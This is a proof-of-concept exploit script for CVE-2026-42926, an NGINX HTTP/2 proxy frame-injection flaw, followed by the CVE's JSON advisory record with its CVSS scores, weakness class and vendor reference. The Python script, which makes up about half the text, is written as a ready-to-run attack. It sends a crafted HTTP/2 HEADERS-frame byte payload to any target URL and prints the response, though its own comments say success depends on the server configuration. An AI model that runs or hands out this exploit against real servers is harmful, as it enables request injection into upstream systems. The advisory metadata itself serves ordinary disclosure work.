CVE-2026-42926

#!/usr/bin/env python3 """ PoC for CVE-2026-42926 (NGINX HTTP/2 Proxy Request Injection) This script demonstrates sending a payload that might trigger the injection if the server is configured with 'proxy_http_version 2' and 'proxy_set_body'. Note: Actual exploitation depends on specific server configuration reflecting input. """ import httpx import sys def send_exploit(target_url): # Malicious payload designed to mimic HTTP/2 frame headers # if injected into the body stream upstream. # Example: A crafted byte sequence that could be interpreted as a HEADERS frame. # Format: Length (3 bytes) | Type (1 byte) | Flags (1 byte) | Stream ID (4 bytes) malicious_payload = b"\x00\x00\x10\x01\x04\x00\x00\x00\x01" + b"A" * 16 try: with httpx.Client(http2=True) as client: print(f"[*] Sending exploit payload to {target_url}") # Sending POST request with the malicious payload response = client.post(target_url, content=malicious_payload) print(f"[*] Status Code: {response.status_code}") print("[*] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") print("[*] Response Body (first 200 bytes):") print(response.text[:200]) except httpx.ConnectError: print("[-] Connection failed. Target may be unreachable.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_url>") print("Example: python3 poc.py http://localhost:8080") sys.exit(1) url = sys.argv[1] send_exploit(url)

{"cve": {"id": "CVE-2026-42926", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:49.640", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When NGINX Open Source is configured to proxy HTTP/2 traffic by setting proxy_http_version to 2, and also uses proxy_set_body, an attacker may be able to inject frame headers and payload bytes to the upstream peer.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-172"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000161131", "source": "[email protected]"}]}}